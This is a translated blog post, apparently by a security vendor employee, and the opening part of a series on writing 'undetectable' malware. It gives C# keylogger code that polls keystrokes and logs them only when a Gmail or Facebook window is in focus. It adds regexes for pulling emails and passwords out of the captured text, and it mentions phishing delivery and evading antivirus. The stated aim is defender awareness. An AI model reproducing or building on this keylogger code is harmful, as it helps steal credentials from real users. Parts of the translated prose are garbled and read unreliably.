We are writing our malware. Part 1: Learning to write a fully “undetectable” keylogger
- Transfer
- Recovery mode

The hacker world can be divided into three groups of attackers:
1) “Skids” (script kiddies) - kids, novice hackers who collect well-known pieces of code and utilities and use them to create some simple malware.
2) “Byuers” are not pure entrepreneurs, teenagers and other thrill-seekers. They buy services for writing such software on the Internet, collect various private information with its help, and, possibly, resell it.
3) "Black Hat Coders" - a programming guru and connoisseurs of architecture. They write code in a notebook and develop new exploits from scratch.
Can someone with good programming skills be the last? I don’t think that you will start to create something similar to regin (link) after attending several DEFCON sessions. On the other hand, I believe that an IS employee should master some of the concepts that malware is built on.
Why are IS personnel with these dubious skills?
Know your enemy. As we discussed on the Inside Out blog, you need to think like an intruder to stop him. I am an information security specialist at Varonis and in my experience, you will be stronger in this craft if you understand what moves the attacker will make. So I decided to start a series of posts about the details that underlie malware and various families of hacker utilities. Once you understand how easy it is to create non-detectable software, you might want to review the security policies in your enterprise. Now in more detail.
For this informal hacking 101 class, you need a little programming knowledge (C # and java) and a basic understanding of Windows architecture. Keep in mind that in reality malware is written in C / C ++ / Delphi so as not to depend on the framework.
Keyloger
A keylogger is software or a physical device that can intercept and remember keystrokes on a compromised machine. This can be thought of as a digital trap for every keystroke on the keyboard.
Often this function is implemented in other, more complex software, for example, Trojans (Remote Access Trojans RATS), which ensure the delivery of intercepted data back to the attacker. There are also hardware keyloggers, but they are less common, as require direct physical access to the machine.
Nevertheless, it is quite easy to program to create the basic functions of a keylogger. WARNING. If you want to try one of the following, make sure that you have permissions and that you do not harm the existing environment, but it is best to do this all on an isolated VM. Further, this code will not be optimized, I will just show you lines of code that can fulfill the task, this is not the most elegant or optimal way. And finally, I will not talk about how to make the keylogger resistant to reboots or try to make it completely undetectable thanks to special programming techniques, as well as about protection against deletion, even if it is detected.
Let's get started.
To connect to the keyboard you only need to use 2 lines in C #:
1. [DllImport("user32.dll")]
2.
3. public static extern int GetAsyncKeyState(Int32 i);You can learn more about GetAsyncKeyState on MSDN :
To understand: this function determines whether keys were pressed or pressed at the time of the call and whether it was pressed after the previous call. Now we constantly call this function to get data from the keyboard:
1. while (true)
2. {
3. Thread.Sleep(100);
4. for (Int32 i = 0; i < 255; i++)
5. {
6. int state = GetAsyncKeyState(i);
7. if (state == 1 || state == -32767)
8. {
9. Console.WriteLine((Keys)i);
10.
11. }
12. }
13. }What's going on here? This cycle will interrogate each key every 100 ms to determine its state. If one of them is pressed (or has been pressed), a message about this will be displayed on the console. In real life, this data is buffered and sent to the attacker.
Smart keylogger
Wait a minute, is there any sense in trying to shoot all the information from all applications in a row?
The code above pulls raw keyboard input from any window and input field that is currently focused on. If your goal is credit card numbers and passwords, then this approach is not very effective. For scenarios from the real world, when such keyloggers are run on hundreds or thousands of machines, subsequent data parsing can become very long and, as a result, lose their meaning, because Information that is valuable to a cracker may be out of date by that time.
Let's say that I want to get Facebook or Gmail credentials for the subsequent sale of likes. Then a new idea is to activate keylogging only when the browser window is active and the word Gmail or facebook is in the page header. Using this method, I increase the chances of obtaining credentials.
Second version of the code:
1. while (true)
2. {
3. IntPtr handle = GetForegroundWindow();
4. if (GetWindowText(handle, buff, chars) > 0)
5. {
6. string line = buff.ToString();
7. if (line.Contains("Gmail")|| line.Contains("Facebook - Log In or Sign Up "))
8. {
9. //проверка клавиатуры
10. }
11. }
12. Thread.Sleep(100);
13. }This fragment will reveal an active window every 100ms. This is done using the GetForegroundWindow function (more information on MSDN). The page title is stored in the buff variable, if it contains gmail or facebook, then a keyboard scan fragment is called.
By this we ensured that the keyboard was scanned only when the browser window was opened on facebook and gmail.
An even smarter keylogger
Let's assume that the attacker was able to obtain the data with a code similar to ours. Also suppose that he is ambitious enough and was able to infect tens or hundreds of thousands of cars. Result: a huge file with gigabytes of text, in which the necessary information still needs to be found. It's time to get acquainted with regular expressions or regex. This is something like a mini-language for compiling certain patterns and scanning the text for compliance with the given patterns. You can find out more here.
To simplify, I will immediately give ready-made expressions that correspond to login names and passwords:
1. //Ищем почтовый адрес
2. ^[\w!#$%&'*+\-/=?\^_`{|}~]+(\.[\w!#$%&'*+\-/=?\^_`{|}~]+)*@((([\-\w]+\.)+[a-zA-Z]{2,4})|(([0-9]{1,3}\.){3}[0-9]{1,3}))$
3.
4.
5. //Ищем пароль
6. (?=^.{6,}$)(?=.*\d)(?=.*[a-zA-Z])These expressions are here as a clue to what you can do using them. With the help of regular expressions, you can search (t find!) Any designs that have a specific and unchanged format, for example, passport numbers, credit cards, accounts and even passwords.
Indeed, regular expressions are not the most readable kind of code, but they are one of the best friends of a programmer, if there are tasks to parse text. Java, C #, JavaScript, and other popular languages already have ready-made functions that you can pass regular regular expressions to.
For C #, it looks like this:
1. Regex re = new Regex(@"^[\w!#$%&'*+\-/=?\^_`{|}~]+(\.[\w!#$%&'*+\-/=?\^_`{|}~]+)*@((([\-\w]+\.)+[a-zA-Z]{2,4})|(([0-9]{1,3}\.){3}[0-9]{1,3}))$");
2. Regex re2 = new Regex(@"(?=^.{6,}$)(?=.*\d)(?=.*[a-zA-Z])");
3. string email = "[email protected]";
4. string pass = "abcde3FG";
5. Match result = re.Match(email);
6. Match result2 = re2.Match(pass);Where the first expression (re) will match any email, and the second (re2) any alphanumeric digit more than 6 characters.
Free and completely not detectable
In my example, I used Visual Studio - you can use your favorite environment - to create such a keylogger in 30 minutes.
If I were a real attacker, then I would aim for some real purpose (banking sites, social networks, etc.) and modify the code to meet these goals. Of course, also, I would start a phishing campaign with emails with our program, under the guise of a regular account or other attachment.
One question remains: will such software really be undetectable for security programs?
I compiled my code and checked the exe file on the Virustotal website. This is a web-based tool that calculates the hash of the file you downloaded and searches for it in the database of known viruses. Surprise! Naturally, nothing was found.

This is the main feature! You can always change the code and develop, being always a few steps ahead of threat scanners. If you are able to write your own code, it is almost guaranteed to be undetectable. On this page you can find a complete analysis.
The main goal of this article is to show that using antiviruses alone you cannot fully ensure security in the enterprise. A deeper assessment of the actions of all users and even services is needed to identify potentially malicious actions.
In the following article I will show how to make a truly undetectable version of such software.